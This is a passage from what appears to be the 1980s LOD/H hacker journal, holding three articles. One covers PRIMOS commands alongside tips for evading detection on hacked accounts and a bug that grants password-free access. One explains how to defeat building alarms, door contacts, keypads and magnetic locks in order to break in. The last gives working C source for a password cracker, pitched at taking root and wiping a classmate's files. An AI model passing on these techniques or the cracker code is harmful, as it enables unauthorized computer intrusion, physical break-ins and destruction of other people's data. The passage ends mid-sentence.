This is setting access from ALL to LUR. ALL was the present access, now we
changed it to LUR. You should only do this if it's your own personal account
as changing access rights on hacked accounts could lead to your detection and
subsequent expulsion from the system.
To create a file, preferably a text file, type "Mail pathname", then you will
be thrown into the Mail subsystem which I believe is version 3.1 now. You can
type in all the info you want, when finished hit a Control-P. It will ask you
for a pathname to save it to. Enter the name you would like. It will look
something like this:
OK, Mail DOE
Mail 3.1
>Hello. This is your system operator. Any ideas on how to keep those
>pesky little computer criminals out of our system?
>Comments can be directed to SYSTEM.
Enter Filename: Pesky.Txt
The above method is rather primative but works good if you are only creating a
text file. It is a common method used on version 18, and is easy to perform.
The other method is more common on version 19, and is commonly used today.
OK, Create Test.Txt
OK, Ed
EDIT
$
Note: $ is not dropping you into DCL, so you DCL programmers are out of
luck (chuckle).
From the $ prompt you can type 'help' to get a list of commands which can be
used in the Editor.
$ (return)
By hitting return we are given the "&" prompt, here we can input our
file. Or if you know CPL you can start programming. Do not hit return
on a blank line or you will be thrown into the main Editor prompt ('$').
& Hello this is Bif (the system operator) I am testing the Editor
& because we have added new enhancements. This is only a test.
& (return)
Thus by hitting return we are given the $ prompt once again. To
save our file we can type-
$ Save Test
In this case the filename is test. The system will reply by saying
'Test Saved'. The file should be located at the end of the files list
when you List files.
To make sure the contents are saved type "Slist Test.Txt", it will display
the text you typed in mail or the editor. A couple of important notes:
1: Never use a "?" anywhere in the file, or it will erase all of the contents
in the file.
2: Never hit a c/r twice. In other words if you hit a c/r on a blank line the
system will recognize this as mail and will send it to the name you entered.
If you want to make a basic program or basicv type "Basic" or "BasicV"
at the "Ok," prompt and you will be thrown into that language. If you
would like to make a CPL program you can enter it from the main prompt since
that is the default language for Primos.
To delete a file just type "Delete filename".
To get a list of directories with their ACLs (Access Control Lists) type
"List_Access". It would look something like this:
OK, LIST_ACCESS
ACL "<Current Directory>":
ADMIN : NONE
DEMO : LUR
SYSTEM : LUR
ROBERT : ALL
GAMES : LUR
PRIME : ALL
To get a listing of just files type "Listing", it will give you a list
of files in the directory you're attached to. The only difference between
this method and "LD" is that LD tells you what access rights is on that
directory.
<Tour Program>
On some Prime systems you may find a program located within the Demo or Games
account. The name of the program is "Tour" and you can execute it by doing CPL
Tour. The program will be inputing commands and the system will execute them.
There is a bug within that program which can be used to your advantage. First
execute it by doing CPL Tour, once the program has begun it will have a couple
of pauses (while it is loading). First hit 3 Control P's. By doing this you
are breaking out of the program. Next, attach to the SYSTEM directory. Once
attached, SLIST the Tour program (Slist Tour). When it begins listing the file
do a Ctrl-P again. Now, go into the editor (ED). When you receive the $
prompt hangup on the system. The system is now hung in the Editor, and the
Tour program is still executing (from the Demo or Games account). You must call
right back (and prey that the line hasn't been captured by a system operator).
You will be put right into the tour program, while it is being executed. You
will need no pw to login as you are attached right to it. You now have access
to write and read anything your little heart desires. If you plan on trying
this, do it at night, since you will most likely be the only one on the system.
Always do it on a 1 line system. Never on a Prime that is used constantly
(unless you have perfected this method). Remember to call right back after you
have hung up, or someone like BIF may call and wonder why he did not get the ID
prompt. So be careful.
I also know different ways you can modify the tour program to have
a little fun (using CPL commands) but due to obvious reasons I will not
publicize the lines. If you are interested please get in contact
with me.
<Message>
To send a message to someone on the system type "Message username". It would
look something like this:
OK, Message PRIME
Hi, can you tell me why the system was down last week.
Note: Remember DON'T use ?'s.
The user PRIME will receive the message, unless he's busy or has executed
command which refuses messages. It would look like this:
OK, Message Prime
Hi, can you tell me why the system was down last week.
User Prime not accepting messages
If you do not receive that message then the user will get your message. This
is like Phone username on VMS, except on a VMS it looks better (chuckle).
<Mail>
To send mail you type: "Mail xxxxx". If I wanted to send mail to user
SYSTEM, I would type "Mail System", I would be thrown into the mail subsystem.
To end a message hit a c/r on a blank line. You will be notified when you get
mail when you first logon. It will say "(mail waiting)". To read it type
"Mail". If you have no mail and you type Mail it will say "sorry no mail
today". Once again no ?'s are allowed or the contents of the mail will be
erased.
<Status>
Status followed by a topic will give you a system status on that topic. You
can get information on the following using Status-
Status ALL = Information on who is logged in and devices.
Status DI = Information on devices, what devices are in use.
Status SYSTEM = Information on what version of Primos is being run.
Status NETWORK = Information on Netlink, and network nodes.
There are others but these are probably the most important, and of course,
"Status Users" which I mentioned earlier, which will give you a list of users
currently logged in.
<Change_Password>
Allows a user to change his password. It will look something like this:
OK, Change_Password
Old Password:Z102345
New Password:
Verification :
Notice how new password and verification don't echo, this is for security
purposes so don't be alarmed. Changing passwords of hacked accounts is not a
good idea. We don't want to get detected now do we?
<Info>
Gives info on the system. ie-who it belongs to, what version its running
on and new features.
<Languages>
Gives a list of languages the system supports.
<Help>
Gives a list of help commands and a small description.
<Netlink>
By typing Netlink at the main prompt (OK,) you will be thrown into the
Netlink utility. Netlink is found on Primenet (which is the networking
software for Primes). Netlink is used to communicate with other remote
systems. You will find the netlink utility on most packet networks, since
there is much use for it there. Netlink can be accessed by all users on
the system. Once netlink is typed you will get a message, similar to:
Netlink version x.xx
>(this being the main prompt)
Once again on-line help is available if you have no idea what you are
doing. To call another system, you would use the NC xxxxxx format.
If you were on Telenet using Primenet supporting the Netlink utility you
could call any system on Telenet. For example if I wanted to call my
favorite VMS I would type-
>NC 201111
201111 being the address. You will get a pause for about 5 seconds and you
will be connected to the remote system. It is fairly slow, but it is
sufficient. The whole process would look something like this-
OK, NETLINK
Netlink [Version 1.x]
>NC 201111
<Pause for about 5 seconds>
Username:
Password:
Username and Password shows that I have connected to the Vax running VMS. I
would log onto the remote system (the VMS in this case) like I would any other
time. Once I am done looking around on the remote system I can just logoff by
doing a Control P (this will put you back into the utility), or I could just
logoff properly by using the VMS logout command and be put back into the
Netlink utility program.
If you ever receive the message "WILL NOT ACCEPT COLLECT CONNECTION" from a
system off of Telenet, you can just reverse the charges to the Prime you are on
and log onto the remote system. You can do this by using the NC format above.
This allows you to bypass the need for a Telenet ID.
Netlink won't compare to something like DECNET but it gets the job done.
Remember if you aren't too sure what you are doing just type "help" for on-line
help. To exit the Netlink utility type "Quit" or just hit Control-P. This
will give you the main prompt once again.
<Upcase/Lowcase>
Toggles upper and lower case.
<Control characters>
Control S = Pauses Text
Control P = Aborts Text or Utility
Control Q = Resumes Text
<Author Notes>
If you gain access to Primos supporting on-lines games, which can be found by
(AT)taching to the Games directory. There may be a game called "FRITZ", it's a
fun game dealing with questions on the Primos system. It can also test your
knowledge on the system.
Usually if a person hangs up on the system without properly logging off you
may be able to call the system and be attached to that account. This usually
works on systems with one line. I called a Primos one day and was attached to
a system account modifying a config program. It was interesting...
There are many Prime systems on Telenet so I suggest getting ahold of the
updated LOD/H Telenet Directory from Issue I and jot down a few. Preferably
Primenet, since they support the Netlink utility.
============================================================================
Here's a list of some major differences between PRIMOS version 18.x.xx and
Version 19.x.xxx
1. Version 19 supports Access Control Lists, which allows the user to set a
specific access right on his/her directory.
2. Version 19's security has been tightened. A user will be prompted with
the password prompt. A user is usually allowed only 1 unsuccessful login,
if the ID or password is incorrect the user will be logged off.
3. Once a user has tried to execute a command/file without sufficient
access rights he will be logged off of the system. The account will
automatically be suspended until an operator has contacted the user.
4. Users have to change their password every 30 days.
5. The "CHAP" command can be executed by users to toggle their priority
level.
6. Netlink has been enhanced with more commands.
7. A primary password may be used for better security.
8. After logging out you will be disconnected from the system, rather
than prompted with the ER! prompt.
9. Dec VT132 is the commonly used operator terminal on version 19.
10. There have been new enhancements to the editor.
=============================================================================
As you can see, PRIMOS is a very versatile system. It's not very popular
among hackers since there hasn't been too much information released on it.
Most commands will be the same on version 18, if not just execute the Help
file. The final element to PRIMOS will be alarm (it will be similar to the one
on VMS). I will go a little more in-depth on the ALARM system in Part II (I
will have more information on it, and by that time it will be inserted in later
revisions of version 20). Basically the alarm will record all unsuccessful
logins and will alert the operator at the terminal. The alarm will be a
standard part of PRIMOS and can not be shut on and off, from a reliable source,
the alarm may come in a different package.
=============================================================================
Part II: I will discuss new commands, creating accounts, go more in-depth on
the Netlink utility, and any other changes in PRIMOS Version 20.
Until then....
You can reach me via the TJ staff account, for questions, requests for more
information, and corrections to this article.
The LOD/H Technical Journal: File #5 of 10 (ISSUE #2)
Lex Luthor and The Legion Of Doom/Hackers Present:
Identifying, Attacking, Defeating, and Bypassing
Physical Security and Intrusion Detection Systems
PART II: THE EXTERIOR
INTRODUCTION:
-------------
The 'exterior' refers to the area directly outside of a building and the things
within the building which are on the exterior. These obviously are: doors, air
conditioning ducts, windows, walls, roofs, garages, etc. I don't believe the
word 'exterior' is the exact definition of what this article will encompass,
unlike the 'perimeter', but it's the best I could come up with. This article
primarily is of an informative nature, although methods of "attacking,
defeating, and bypassing" will be explained. Its purpose is not specifically to
encourage you to breach a facility's security, although I acknowledge that it
could be used as such. Some of the devices mentioned in the physical security
series are used in homes as well as corporate, industrial, and military
installations, but my aim is specifically towards the commercial aspect of
buildings, not homes and apartments. Entering a facility to obtain information
such as passwords or manuals is one thing, breaking into someones' home to
steal their personal belongings is another.
THE EXTERIOR:
-------------
A facility's second line of defense against intrusion is its' exterior. The
exterior may have any or all of the following:
* Window breakage detectors
* Keypad systems
* Card access control systems
* Magnetic locks and contacts
* Security lighting and CCTV
CCTV which is also used, was mentioned in Part I: The Perimeter.
Card Access Control devices will be mentioned in Part III: The Interior.
WINDOWS:
--------
Windows are a large security hole for buildings. You may notice that many phone
company buildings and data processing centers have few if any windows. There
are two things that can be done to secure windows aside from making sure they
are locked. One is to make them very difficult to break, and the other is to
detect a break when and if it occurs. Here is a quick breakdown of the common
types of glass/windows in use today:
Plate glass: Can be cut with a glass cutter.
Tempered: Normally can't be cut. Breaks up into little pieces when broken.
Safety: You need a hatchet to break this stuff.
Wire: This has wire criss-crossed inside of the glass, making it very hard to
break, and even harder to actually go through the opening it is in place of.
Plexy: Very hard to break, doesn't really shatter, but can be melted with the
use of a torch.
Lexan: This is used in bulletproof glass. One of the strongest and most secure
types of glass.
Herculite: Similar to Lexan.
Foil tape:
----------
This is by far the most common, and probably the most improperly installed form
of glass breakage detection, which also makes it the most insecure. This is
usually a silver foil tape about 5/16" wide which should be placed on the whole
perimeter of a glass window or door. In the case of plexyglass or a similar
material, the tape should be placed in rows separated by 6-12 inches.
The older foil was covered with a coating of eurathane or epoxy which enabled
it to stick onto the glass. The newer foil has an adhesive back making
installation much easier. There should be two connectors which are located at
the upper top part of a window, and the lower part of the window which connects
the foil to the processor, thus, completing the circuit. Foil may or may not
have a supervised loop. If it is supervised, and you use a key to scratch the
foil (when it is turned off) making a complete break in it, an alarm will sound
when it is turned on.
Foil is commonly used as a visual deterrent. Many times, it will not even be
activated. The easiest way to determine if the facility is trying to 'B.S.' you
into thinking they have a security system, is to see if there are any breaks
in the foil. If there is a clean break, the 6-12V DC current which is normally
making a loop isn't. Thus, breaking the glass will do nothing other than make
some noise unless you take steps against that happening.
As was stated, foil is t
he most improperly installed type of glass breakage
detection. When it is installed improperly, it will not cover all the area it
should. An easy way to defeat this is by the following diagram:
+-------------+
! ........... !
! . . ! . = foil tape
! . put . ! - = top/bottom of door
! . contact . ! ! = sides of door
! . paper . ! / = dividing line between 2 pieces of contact paper
! . in . ! $ = ideal places for initial breakage
! . this +-! ' = clear area or outline of second piece of contact paper
! . area ! ! <-- door handle
! . +-!
! . . !
! ........... !
!/////////////!
!'''''''''''''!
!' '!
!$'''''''''''$!
+-------------+
As you can see, the installer neglected to place the foil all the way down to
the bottom of the glass door. There is enough room for a person to climb
through. They may have thought that if someone broke the glass, it would all
break, which is normally correct. But if you obtain some strong contact paper,
preferably clear, adhere it to the glass as shown, and break the bottom part at
the '$' it will break up to the '/' line and thats it. Thus, leaving the foil
in-tact. This will work on tempered glass the best, and will not work on Lexan
or Plexyglass. There is a transparent window film with a break strength of up
to 100 pounds per square inch which can be obtained from Madico, Inc. It is
called, Protekt LCL-400 XSR, and makes glass harder to break and stays
essentially in place even when broken. This can be used in place of the contact
paper. Obviously, it is also used to protect glass from breakage.
Audio discriminators:
---------------------
What these do is to compare the frequency of the sound that glass makes when it
breaks, to the actual breakage of glass. This frequency is relatively unique,
and can accurately determine when and if glass actually breaks. Your best shot
at defeating this, is to do the same thing as mentioned above. Cover the glass
with a film which will keep the glass in place after breaking it. If you break
it properly, the frequency will not match that of glass breaking when it is not
held in place.
Glass shock sensors:
--------------------
These devices detect shock disturbances using a gold-plated ring that "bounces"
off a pair of normally closed gold-plated electrical contacts. This will send
a signal to a Signal Processor (SP) which determines whether an alarm condition
exists. There are two settings the SP can be set to which are:
SHOCK-BREAK: This mode requires an initial high energy shock, followed by a
very low engery shatter. The shatter must occur within about 1 second before
an alarm can occur.
SHOCK-ONLY: An alarm will occur once the first shock is detected. This may or
may not be accompanied by a shatter.
Obviously the more secure setting for a facility would be shock-only. Though,
both are equally dangerous for an intruder. The methods mentioned earlier about
preventing the glass from shattering will not work when this device is used in
the shock-only mode. It may work, depending on the type of glass, if it isn't
in the shock-break mode.
These devices are usually found protecting large plate glass and multi-pane
windows. They are roughly 2 inches by 1 inch and can be mounted on the frame of
a window, between two windows, or on the glass itself. These sensors can cover
up to 150 square feet of glass.
These are the best of the lot for window breakage detection. Most devices have
a constantly supervised loop, and if you cut a wire, that loop will break, and
cause an alarm condition. They are typically placed somewhere on the window
pane and not on the window, thus, making them harder to visually detect...from
the outside that is. Though from close inspection, you may be able to determine
if these are in place. Obviously they can easily be seen from the inside...
The sensor is normally placed no more than a couple of inches from the glass.
If it is too far away, or if you can move one over 4 inches from the glass, its
detection capability is somewhat diminished. It is probably screwed in, and has
an adhesive backing, so moving it may not be too easily accomplished. False
alarms are not common, unless the windows rattle. There are sensors available
which are not as sensitive, and will not "overreact" to slight vibration, these
are called "damped" sensors.
MAGNETIC CONTACT SWITCHES:
--------------------------
The word "contact" is somewhat contradictory to how these devices are commonly
used. In most cases, the magnet and the switch are not in physical contact of
each other, rather, they are in a close proximity of each other, although
there are some models which are indeed in contact with each other. There are
various types and levels of security that these devices possess.
They can be surface mounted (floor or wall mounted) or concealed (recessed).
The most common are surface mounted which are placed on top of the door. When
inspecting for these devices, examine the whole perimeter of the door, from top
to bottom. Most doors have a +/- 1/4" gap all the way around, in which you
should also check for concealed contacts. These are round cylinders that are
recessed into the door or wall, which obviously makes them less visible. The
other contacts range from miniature, with dimensions as small as 1x1/4x1/4"
to the larger ones at 5x2x1". They are usually in colors of off-white, grey,
and brown and are mounted with nails, screws, double sided tape, or are epoxied
onto the door or wall surface(s). The switches are hermatetically sealed, as
are the glass breakage detectors mentioned earlier, can operate in moist or
dusty areas, are corrosion resistant and have indoor/outdoor use. They can also
be used on windows, fence gates, truck trailors, boats, heavy equipment, safes,
and vaults.
The different types of devices in order of least to most secure are:
1) Standard Magnetic Contacts: These consist of one reed switch and one magnet.
They may be defeated with the use of a second magnet which would be placed
in the vicinity of the switch, while opening the door or window and while
closing them also. This way, the switch never detects the abscense of the
magnet, thus, no alarm occurs.
2) Biased Magnetic Contacts: These consist of one reed switch with a "biasing"
magnet that changes the state of the reed switch. The magnet is then placed
at the correct distance to offset the bias magnet, creating a "balanced"
condition. The switch can be defeated with the use of a single magnet. The
trick is to:
A) You must have the correct size magnet, which can be accomplished by
obtaining the same type or model as what is in place.
B) You must determine the correct polarity which may be accomplished with
either a compass, or if the alarm is not activated, (possibly during
normal business hours), by opening the door and placing your magnet
near the device's magnet and determine the polarity. If you do not have
much time, then its a 50-50 shot.
C) The last criteria is to keep the magnet at the same or close to the
same distance from the switch as the original magnet was. In some cases
the device will be placed in such a manner that correct placement of
the second magnet will be difficult if not impossible.
3) Balanced Magnetic Contacts: These consist of one biased reed switch and one
unbiased reed switch. The second reed will be of the correct sensitivity
and position so as to not operate with the actuator magnet. It must also
operate with the addition of a second magnet. It could be defeated by a
single magnet that is moved into place as the door is opened. This requires
coordinated movement of the door and magnet.
4) Preadjusted Balanced Magnetic Contacts: These consist of three biased reed
switches and may have an optional fourth tamper reed. Two reeds are
polarized in one direction and the third is polarized in the opposite
direction. The housing consists of three magnets with the polarity that
corresponds to the switches. It is preadjusted to have a fixed space between
the magnet and the switch. This is the most secure type of magnetic contact
switch. The three-reed type could be defeated by using one of its own
magnets, but not a bar magnet. The type with four reeds cannot be defeated
with either of the two magnets because the fourth reed will activate when
a magnet is brought within actuating distance. If you are able to determine
which is the tamper reed, you can try to keep the three magnets in contact
with the corresponding reeds. At the same time you must have the correct
polarity, and in the process, not activate the tamper reed. If you
accomplish those, you may be able to defeat it. This will most likely
require two people and a bit of luck.
The most secure devices are made of die cast aluminum instead of plastic,
are explosion proof (for vaults and safes), have terminals mounted inside
the housing which provides protection from tampering and shorting, and have
armored cabling.
A wider break distance will prevent fasle alarms due to loose fitting doors,
thus, if the door is loose fitting it may have a wide break distance. The wider
the break distance, the easier it is to defeat. This will allow you to
introduce another magnet in cramped places since the door can be opened a wider
distance before an alarm condition occurs.
Some devices allow the installer to adjust the gap with a screwdriver instead
of placing the switch a certain distance from the magnet. In some devices, use
of any ferrous (Iron) material in the vicinity of the switch can cause a change
in gap distance. As a gap is increased, the switch may bias and latch. When
latched, the switch will remain closed even when the magnet is removed!! This
means that when you open the door, it thinks that the door is closed, and you
are able to stealthily go thru the door. You can test for a latched condition
by removing the magnet (opening the door) and using a Volt Ohm Meter, if it
reads INFINITY, the switch is OK. If not, it may be latched. If you can adjust
the gap to the point of it being latched, without being noticed, you've got it
made.
Wireless Switch Transmitters:
These are essentially the same as the other devices mentioned except that they
use an FM digital signal for alarm conditions (a door or window open) and for
maintenance conditions (low battery, transmitter malfunction/removal, long term
jamming, etc). There should be continuous polling and a maintenance alarm will
occur if the signal is missing for a few minutes. The transmitters are usually
powered by a couple of AAA 1 1/2V pen cells, which can last a few years. Most
devices will send out a signal after a specific interval. Common intervals are
about every 30 seconds. You can verify if the device is indeed sending out a
signal by placing a milliammeter capable of reading 10 ua in series with the
batteries and reading the discharge current. If it occurs every 30 seconds,
then it is sending out a signal every 30 seconds. A hint that this type of
device is in use, is since range generally decreases as a transmitter gets
closer to the floor, the transmitter will be placed as high as possible. The
transmitter probably has a range of about 200 feet, although some environments
may reduce this range due to construction materials inherent in the building.
The frequency should be in the 314 MHz range.
As was mentioned, these are the same as regular magnetic contact switches
except that there is a transmitter instead of a wire for transmitting alarm and
maintenance conditions, thus, the switch can be defeated in the same manner as
has been previously stated. Defeating an X-mitter is much easier than defeating
a wire. You can defeat the transmitter if you can sufficiently block or
diminish the signal strength so that the receiver is unable to receive it.
Radio waves have a tendency to bounce and reflect off of metallic surfaces,
which includes foil, and pipes. If you have located the transmitter, which
should be attached to or near the actual contact, you can block or jam the
signal as you open the door. Hopefully this will be between the 30 second
interval that it sends an "i'm ok" signal to the receiver, but it's not
critical to do so. As was stated, most receivers will not cause an alarm
condition if it doesn't recieve a signal once or twice, but after a few minutes
it will. So, as you open the door, it tries to send the signal, you block or
jam it, and you slip through without detection.
This information can also apply to security relating to the 'interior' of a
facility, ie. Part III of this series. Many of the techniques for defeating
magnetic contact switches are geared toward being inside the facility. Many
facilities have switches on doors to monitor movement of personnel within the
facility. But it also is used on the exterior and some methods will work on
doors and possibly windows on the exterior. Of course, you have to have a way
of opening the door, and that follows.
DOORS AND LOCKS:
----------------
As you know, doors are the primary entrance point into a building. Since they
are the primary target for unauthorized entry, they have the most security
added. I am not going to mention anything about the art of picking locks.
Although mechanical locks and keys have been the most common type of security
used in the past as well as today, I am going to concentrate on the more
advanced security systems in use.
Pushbutton keypad locks:
------------------------
There are two types, mechanical and electronic. I will go into detail about
each. I will give you a few examples of these devices which comes directly from
brochures which I have been sent. I am merely summing up what they said.
Electronic:
Securitron DK-10:
This is a unit which has dimensions of 3x5x1". It has a stainless steel keypad
which is weatherproof, mounts via hidden screws and has no moving parts. The
keypad beeps as each button is pressed, and an LED lights when the lock is
released. It is slightly different in appearence than most other electronic
keypads:
+----+
! 1A ! Each block (1A/B2) is one button. Thus, there are 5 buttons total on
! B2 ! this device. The "/"'s at the bottom of the device represents the name
! ! of the company and possibly the model number of the device.
! 3C ! (ie. Securitron DK-10). It has 2-5 digit codes. Thus, a 2 digit code
! D4 ! will have a maximum of 5 the the 2nd power (5 squared=25) combinations.
! ! Of course it increases as the number of digits used increase.
! 5E ! This unit has an 11 or 16 incorrect digit threshold. If it is reached
! F6 ! a buzzer sounds for 30 seconds during which it will ignore any entries.
! ! When a valid code is entered, the lock is released for a 5, 10, 15 or
! 7G ! 20 second interval.
! H8 !
! !
! 9K !
! L0 !
! !
!////!
!////!
+----+
Sentex PRO-Key:
This device has a keypad resembling one of a payphone. It is a sealed, chrome
plated metal keypad. It has the standard 10 digits with * and #. It can have
up to 2000 individual codes with a lenght of 4 or 5 digits. It allows 8 time
zones, "2-strikes-and-out" software which is its invalid code threshold, and
anti-passback software.
Obtaining codes--
Your aim is to obtain the correct code in order to open the door. Plain and
simple. There are various methods in which you can accomplish this. You can try
to obtain a telescope or similar device and attempt to get the exact code as it
is being entered. This is obviously the quickest method. If you cannot discern
the exact code, the next best thing is to determine exactly how many digits
were entered, since most devices have variable code lengths. If you can make
out even one digit and when it was entered, you will substantially reduce the
possibilities. Another method is to put some substance on the keypad itself,
which preferably cannot be noticed by the user. After someone enters a code,
you can check the keypad to see where there are smudges or if you use what the
police use to find fingerprints, you can see what digits were pushed, although
you will have no idea in what order. This will drastically cut down the combos.
Say that someone enters a 5 digit code on a 10 digit keypad. You check the
keypad and see that, 1,2, 4, 7, and 9 were pushed. If you attempted brute
force, you will have 25 combinations to try. If a 4 digit code 'appeared' to be
entered, as 0, 2, 4, 8 were 'smudged', it is possible that one of the digits
were pushed twice. Keep that in mind. A way to know for sure would be to clean
the pad and 'dust' it, most fingerprints will be clear, but one will be less
clear than the others. Thus, you can be reasonably sure that the digit which is
smudged was pressed twice.
Thresholds--
Brute force attempts on electronic keypads is suicide. Once a certain number of
invalid attempts has been reached, it will probably be logged and a guard may
be dispatched. Your best bet is to try once or twice, wait (leave), try once
or twice again, wait, etc. Sooner or later you will get in.
Auditlogs--
Many of these devices are run on micro's. The software that runs these devices
allows for an increased ability to monitor the status of these devices. They
can track a person throughout the facility, record times of entry and exit,
and when the maximum invalid code threshold is reached.
Anti-passback--
This term is commonly used in card access control, but it applies differently
to keypads. This feature prevents the use of two codes being used at the same
time. That is, Joe Comosolo uses code #12345 and enters the building. Then,
you enter Mr. Comosolo's code, #12345 but the system knows that Joe is already
in the building, and has not entered his code before leaving. Thus, you do not
gain access, and that action is most likely recorded in the audit log. This
option will only be in effect when:
1) Each individual has a different code.
2) There is a keypad used for entry, and a keypad used for exit.
Tailgating--
This occurs when more than one person enters through a controlled access point.
Joe enters his code, and goes into the building. You follow Joe, and make it
in just before the door closes, or in the case of the devices waiting 10 or 20
seconds before the door locks again, you let it close, and open it before it
locks.
Open access times--
During peak morning, noon, and evening hours, a facility may set the system to
not require a code during, say, 8:55AM to 9:05AM, thus, enabling most anyone to
gain entry during that time.
Hirsch Electronics Digital Scrambler:
This has a 12 button arrangement with the addition of a 'start' key. This is
probably the most secure type of keypad security system in use today. It only
allows a viewing range of +/- 4 degrees horizontally and +/- 26 degrees
vertically. This means that it would be very difficult to watch someone enter
their code, thus, eliminating the 'spying' technique mentioned earlier.
The buttons on the keypad remain blank until the start button is pressed. Then,
instead of the numbers appearing in the usual order, they are postitioned at
random. A different pattern is generated each time it is used. The numbers are
LED's in case you were wondering. This eliminates the 'dusting' technique which
can be used on the other types of keypad systems.
The Model 50 allows control of 4 access points and has 6 programmable codes.
The Model 88 controls 8 doors and has thousands of codes. The features that
this device has makes it very difficult to do anything but use brute force to
obtain the code, but since it is controlled and monitored by a computer, the
audit logs and maximum invalid code threshold can put a stop to that method.
The other alternative, which applies to any of these systems, is to socially
engineer the code from someone, or if you know someone, they may give you it.
Both methods are not ideal. I have come up with a way to reduce the
possibilities to a very reasonable level, but I will not explain it here. If
you are really interested, contact me via the LOD/H Technical Journal Staff
account on the Sponsor boards.
Mechanical Keypad locks:
The best thing about these types of locks, is that they are 100% mechanical.
This means that it is not computerized, and there is no monitoring of bad codes
or the door staying open for too long, or anything! All you have to worry about
is getting a correct code. Probably the largest manufacturer of these devices,
is Simplex Security Systems, Inc. The devices are called, Simplex Keyless
Locks. Every lock of theirs that I have seen, has 5 buttons. Combinations may
use as many of the five buttons the facility cares to use. The biggest problem
with this type, is that there is the option of pushing 2 buttons at the same
time, which would be the same as adding another button to the lock. Thus,
button 1 & 5 can be pushed simultaneously, then button 3, then buttons 2 & 4
would be pushed at the same time.
These are supposedly, 'keyless locks' but on many models, a 'management key'
can be used to override the security code, so obtaining the key, is a way to
bypass the code. Both the spying and dusting methods apply to these devices,
and the best thing is that you can try all possiblities you want without an
alarm signalling.
Magnetic locks:
---------------
These are commonly called 'Magnalocks' and use only the force of electro-
magnetism to keep a door shut. Typically, the magnet is mounted in the door
frame and a self aligning strike plate is mounted on the door. These locks
provide the capability of up to a few thousand pounds of force for security.
They are not only found on doors, but can be put on sliding doors, glass doors,
double doors and gates. The magnet and plate is roughly 3 inches by 6-8 inches.
There are a few things you should try to findout about these devices before
attempting anything:
Is there backup power? (ie. Usually a 12-24V battery can be used) Obviously, if
there is no backup power and there is a power outage, there will be nothing to
stop you from opening up the door.
Most devices have the capability to monitor whether the door is closed, which
is what magnetic contact switches do. But there is another option, which will
provide a voltage output signal on a third wire, which determines whether the
lock is powered and secure. If there is no monitoring of whether the door is
secure, then there is no way of knowing it is locked, unless it is physically
checked. There are optional LED's which can be mounted on the lock to indicate
its status. For the Securitron Magnalock, an amber LED will indicate that the
lock is powered. A green light shows the lock is powered and secure. Red, shows
that the lock is unlocked, and no light means there is a violation, ie. the
power switch is on, but the lock is not reporting secure. You can use these
lights to your advantage.
If a magnalock is tied into a fire alarm system, such that it is automatically
released in the event of fire, then you or an accomplice can signal a fire
alarm and sneak in while the lock releases.
MISCELLANEOUS:
--------------
LED's: Some devices or models of devices have LED lights built into/onto the
device. They are usually used to indicate a secure or insecure condition.
This applies to magnetic contacts, shock sensors, and other devices. Even when
the security system is not in a secure mode, (for example, during regular
business hours a system may be off, but after 6pm it is turned on) the LED will
light when an alarm condition occurs. For example, you bang on a window that
has a shock sensor, and the red LED lights, or blinks for a few seconds. You
can use this to your advantage to test theories or methods during a time which
a receiver pays no attention to the signals sent to it. Then when it is turned
on, you will have more confidence in what you are doing.
Supervised loops: Most if not all devices will have supervised loops for
constant monitoring of battery power, electrical shorts, and defective devices.
If the security system of the facility is very old, loops may not be
supervised, and simply cutting a wire will disable the alarm.
Naming of devices: For large orders, manufactures of security devices may put
the facility's name on the product instead of their own. This is probably for
esoteric purposes. This hampers your efforts in obtaining the name of the
maker of any type of product for purposes of geting additional information and
brochures on the device.
Single person entry: These devices include mechanical and optical turnstiles
which meter people in and out one-by-one. Mantraps, usually found in high
security installations are double-doored chambers which allow only one person
in at a time, and will not allow the person out until the system is satisfied
he is authorized.
Extreme weather conditions: Unlike perimeter security devices, most exterior
security devices are either placed inside the facility, or can withstand just
about any type of environmental condition, so there is not much that you can
take advantage of.
CONCLUSION:
-----------
People typically make security a lower priority than less important things.
Those who do not upgrade their systems because of spending a few dollars are
rewarded by being ripped off for thousands. I have no pity for those who do
not believe in security, physical or data...
ACKNOWLEDGEMENTS:
-----------------
Gary Seven (LOH)
And of course, the information from brochures, and questions answered by the
nice technical support people for the companies specifically mentioned in this
article.
The LOD/H Technical Journal: File #6 of 10
A Discreet Unix Password Hacker
-------------------------------
By Shooting Shark / Tiburon Systems 4 Mar 87
Imagine this familiar situation: you have an account on a Unix system.
Perhaps it's your account on your school's VAX, or an account you've hacked
yourself. You'd like to collect more passwords to this system - perhaps
to the 'root' or 'bin' accounts so you can take control of the system, or the
password of the class hotshot who's going to get an 'A' on his compiler
project and upset the curve unless you go in and erase all of his files.
The problem is getting these passwords. The most obvious method would be to
manually enter login/password combinations until you found one. This is
slow (>10 seconds per try), will give you sore fingers, and multiple
invocations of the 'login' program may be noticed. You could write a program
on your micro to dial up the site (*if* it has a dialup) and try passwords
from a login/password pool, but this is just as slow, ties up your computer
and your phone line, and again is subject to easy detection. The solution
to this problem is to have the system itself hack passwords for you.
It can do this unattended and at a considerable speed while you go about
your life, and will be difficult to detect by system demigods.
Here is the C source for my program. Upload it to your Unix site and
compile it.
--- cut here ---
/*
* hpw.c v1.4: 8 October '86
* Written by Shooting Shark / Tiburon Systems
*
*/
#include <sys/file.h>
#include <stdio.h>
#include <pwd.h>
#include <signal.h>
struct passwd *pwd, *getpwname(name);
int len, abort(), endpwent();
char crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10];
main(argc, argv)
int argc;
char *argv[];
{
FILE *fopen(), *fp;
char *uname;
signal(SIGINT,abort);
if (argc !=3) {
printf("usage : %s username pwfile\n",argv[0]);
exit(-1);
}
if (!(pwd =getpwnam(argv[1]))) {
printf("unknown user : %s\n",argv[1]);
exit(-1);
}
if ((fp = fopen(argv[2], "r")) == NULL) {
perror(argv[2]);
exit(-1);
}
sprintf(crbuf,"%s",pwd->pw_passwd);
printf("hacking %s\n",argv[1]);
printf("encrypted password : %s\n",crbuf);
while (fgets(pwbuf, 20, fp) != NULL) {
pwbuf[strlen(pwbuf)-1] = '\0';
pw = crypt(pwbuf,crbuf);
if (!strcmp(pw,crbuf)) {
printf("%s ==> %s\n",argv[1],pwbuf);
exit(0);
}
}
printf("done -- password not found.\n");
endpwent();
}
abort()
{
printf("aborted while trying '%s'\n",pwbuf);
exit(-1);
}
--- cut here ---
(Note - written on a Pyramid 90x running Berzerkeley Unix 4.2. If you're
running SysV or something else you may have problems. You probably
won't, but you might.)
Now that you have the above compiled into a file called 'hpw,' invoke
it with
% hpw username pwfile
( % is the shell prompt; don't type it...)
where username is the login name of the user who's password you'd like
